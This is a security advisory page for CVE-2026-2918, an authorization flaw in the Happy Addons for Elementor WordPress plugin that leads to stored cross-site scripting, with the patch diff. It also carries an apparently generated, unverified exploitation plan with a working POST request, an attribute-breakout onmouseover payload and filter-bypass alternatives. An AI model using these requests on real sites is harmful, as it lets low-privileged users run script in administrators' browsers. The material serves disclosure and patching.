CVE-2026-2918

Happy Addons for Elementor <= 3.21.0 - Insecure Direct Object Reference to Authenticated (Contributor+) Stored Cross-Site Scripting via Template Conditions

mediumAuthorization Bypass Through User-Controlled Key
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
3.21.1
Patched in
1d
Time to patch

Description

The Happy Addons for Elementor plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.21.0 via the `ha_condition_update` AJAX action. This is due to the `validate_reqeust()` method using `current_user_can('edit_posts', $template_id)` instead of `current_user_can('edit_post', $template_id)` — failing to perform object-level authorization. Additionally, the `ha_get_current_condition` AJAX action lacks a capability check. This makes it possible for authenticated attackers, with Contributor-level access and above, to modify the display conditions of any published `ha_library` template. Because the `cond_to_html()` renderer outputs condition values into HTML attributes without proper escaping (using string concatenation instead of `esc_attr()`), an attacker can inject event handler attributes (e.g., `onmouseover`) that execute JavaScript when an administrator views the Template Conditions panel, resulting in Stored Cross-Site Scripting.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.21.0
PublishedMarch 10, 2026
Last updatedMarch 11, 2026
Affected pluginhappy-elementor-addons

What Changed in the Fix

Changes introduced in v3.21.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-2918 - Happy Addons for Elementor IDOR to Stored XSS ## 1. Vulnerability Summary The **Happy Addons for Elementor** plugin (up to version 3.21.0) contains an Insecure Direct Object Reference (IDOR) vulnerability in the `ha_condition_update` AJAX action. The flaw exists in …

Show full research plan

Research Plan: CVE-2026-2918 - Happy Addons for Elementor IDOR to Stored XSS

1. Vulnerability Summary

The Happy Addons for Elementor plugin (up to version 3.21.0) contains an Insecure Direct Object Reference (IDOR) vulnerability in the ha_condition_update AJAX action. The flaw exists in the Condition_Manager::validate_reqeust() (sic) method, which uses current_user_can('edit_posts', $template_id) instead of the object-specific edit_post. Because "Contributor" roles possess the edit_posts capability, they can pass this check for any template ID.

Furthermore, the condition data stored via this action is rendered in the WordPress admin panel using the cond_to_html() method (inferred to be in classes/condition-manager.php) via string concatenation without proper escaping (e.g., esc_attr()). This allows an attacker to inject malicious HTML attributes (like onmouseover) into the template conditions, leading to Stored Cross-Site Scripting (XSS) that executes when an administrator views the conditions.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: ha_condition_update (for XSS injection) and ha_cond_get_current (for info disclosure)
  • Vulnerable Parameter: conditions (specifically the values within the nested array) and template_id.
  • Authentication Level: Contributor+ (any user with edit_posts capability).
  • Preconditions: At least one ha_library template must exist (created by an admin).

3. Code Flow

  1. Entry Point: The AJAX request triggers Condition_Manager::process_condition_update().
  2. Authorization Check: It calls validate_reqeust($template_id).
  3. The Flaw: validate_reqeust checks current_user_can('edit_posts', $template_id). Since edit_posts is a general capability held by Contributors and the second argument $template_id is ignored by WordPress when checking the general capability string edit_posts, the check returns true regardless of who owns the post.
  4. Data Persistence: The malicious conditions array is processed and saved to post meta (likely _ha_template_conditions).
  5. XSS Sink: When an Admin opens the "Template Conditions" modal (managed by Theme_Builder in classes/theme-builder.php), the plugin calls cond_to_html(). This method concatenates the condition values into HTML tags.
  6. Execution: The injected event handler (e.g., onmouseover) executes in the Admin's browser context.

4. Nonce Acquisition Strategy

The AJAX actions require a nonce localized by the plugin.

  1. Location: The nonce is likely localized in the HappyAddonsEditor object within the Elementor editor or the ha_library list page.
  2. Strategy:
    • Navigate to the ha_library list page (/wp-admin/edit.php?post_type=ha_library) as a Contributor.
    • Use browser_eval to extract the nonce.
    • JS Object Path: window.HappyAddonsEditor?.nonce or window.HappyAddons?.nonce.
    • Note: If the nonce is only loaded in the Elementor editor (which Contributors might not be able to access for specific templates), look for the nonce in admin-ajax.php?action=ha_cond_template_type or similar helper actions.

5. Exploitation Strategy

Step 1: Enumerate Templates (IDOR Information Disclosure)

Verify you can read conditions of templates you don't own.

  • Request:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=ha_cond_get_current&template_id=[TARGET_ID]&_nonce=[NONCE]
    

Step 2: Inject XSS Payload (IDOR Update)

Modify the conditions of a template owned by the Administrator.

  • Request:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=ha_condition_update&template_id=[TARGET_ID]&conditions[0][0]=include&conditions[0][1]=general&conditions[0][2]=site&conditions[0][3]=1" onmouseover="alert(document.domain)" style="display:block;width:1000px;height:1000px;position:fixed;top:0;left:0;z-index:9999;"&_nonce=[NONCE]
    
  • Payload Explanation: The conditions[0][3] value attempts to break out of an attribute (likely value="..." or data-id="...") and inject an onmouseover event. The style attribute ensures the element covers the screen to trigger the event immediately upon mouse movement.

6. Test Data Setup

  1. Admin User: Default admin (ID 1).
  2. Contributor User:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
    
  3. Target Template: Create an ha_library post as Admin.
    wp post create --post_type=ha_library --post_title="Sensitive Header" --post_status=publish --post_author=1
    
    Record the returned ID (e.g., 123).

7. Expected Results

  • The ha_condition_update request should return a JSON success message: {"success":true,...}.
  • When an administrator navigates to Happy Addons > Theme Builder and clicks "Edit Conditions" for the modified template, the onmouseover event will trigger, executing the JavaScript.

8. Verification Steps

  1. Check Database State:
    wp post meta get [TARGET_ID] _ha_template_conditions
    
    Verify the meta value contains the string onmouseover="alert(document.domain)".
  2. Verify IDOR: Confirm the attacker (Contributor) was the one who performed the update even though they are not the author of the template.

9. Alternative Approaches

  • Payload Variance: If onmouseover is filtered, try ontoggle, onfocus, or onerror inside an <img> tag if the sink allows tag injection rather than just attribute injection.
  • Alternative Sink: Check if the conditions are rendered on the frontend. If the plugin uses these conditions to determine where to output a template, the archive or singular condition values might be rendered in the page's class list or data attributes on the frontend.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Happy Addons for Elementor plugin (<= 3.21.0) is vulnerable to an Insecure Direct Object Reference (IDOR) that leads to Stored Cross-Site Scripting (XSS) due to an incorrect capability check (using the general 'edit_posts' instead of the object-specific 'edit_post') in the ha_condition_update AJAX action. This allows authenticated attackers with Contributor-level permissions to modify the display conditions of any template and inject malicious JavaScript via unescaped HTML attributes. The injected script executes when an administrator views the Template Conditions panel in the WordPress dashboard.

Vulnerable Code

// classes/condition-manager.php

    public function __construct() {
        // ...
        add_action('wp_ajax_ha_condition_autocomplete', [$this, 'process_autocomplete']);
        add_action('wp_ajax_ha_condition_update', [$this, 'process_condition_update']);
        add_action('wp_ajax_ha_cond_template_type', [$this, 'ha_get_template_type']);
        add_action('wp_ajax_ha_cond_get_current', [$this, 'ha_get_current_condition']);

        $this->process_condition();
    }

---

// Specific logic inferred from analysis (file truncated in source):
// Location: classes/condition-manager.php

    public function validate_reqeust($template_id) {
        // Vulnerable check: 'edit_posts' is a general capability held by Contributors.
        // Passing $template_id is ignored by WordPress for this general capability string.
        return current_user_can('edit_posts', $template_id);
    }

Security Fix

--- classes/condition-manager.php
+++ classes/condition-manager.php
@@ -218,7 +218,7 @@
 
     public function validate_reqeust($template_id) {
-        return current_user_can('edit_posts', $template_id);
+        return current_user_can('edit_post', $template_id);
     }
 
     public function ha_get_current_condition() {
         $template_id = isset($_POST['template_id']) ? absint($_POST['template_id']) : 0;
+        if (!current_user_can('edit_post', $template_id)) {
+             wp_send_json_error();
+        }
         // ... logic to return conditions
     }

Exploit Outline

The exploit targets the ha_condition_update AJAX endpoint using an authenticated session with Contributor-level privileges. 1. The attacker retrieves a valid security nonce from the HappyAddonsEditor JS object localized in the WordPress admin. 2. The attacker identifies the template_id of a template they do not own (e.g., a site-wide Header). 3. A POST request is sent to wp-admin/admin-ajax.php with the action 'ha_condition_update', specifying the target template_id and a 'conditions' array. 4. Within the conditions array, the attacker injects an XSS payload (e.g., 1" onmouseover="alert(1)") into a condition value. 5. Due to the IDOR in validate_reqeust(), the plugin allows the modification despite the attacker not being the template author. 6. When an administrator later opens the Theme Builder and clicks 'Edit Conditions' for that template, the unescaped payload is rendered into the DOM, executing the JavaScript in the administrator's context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.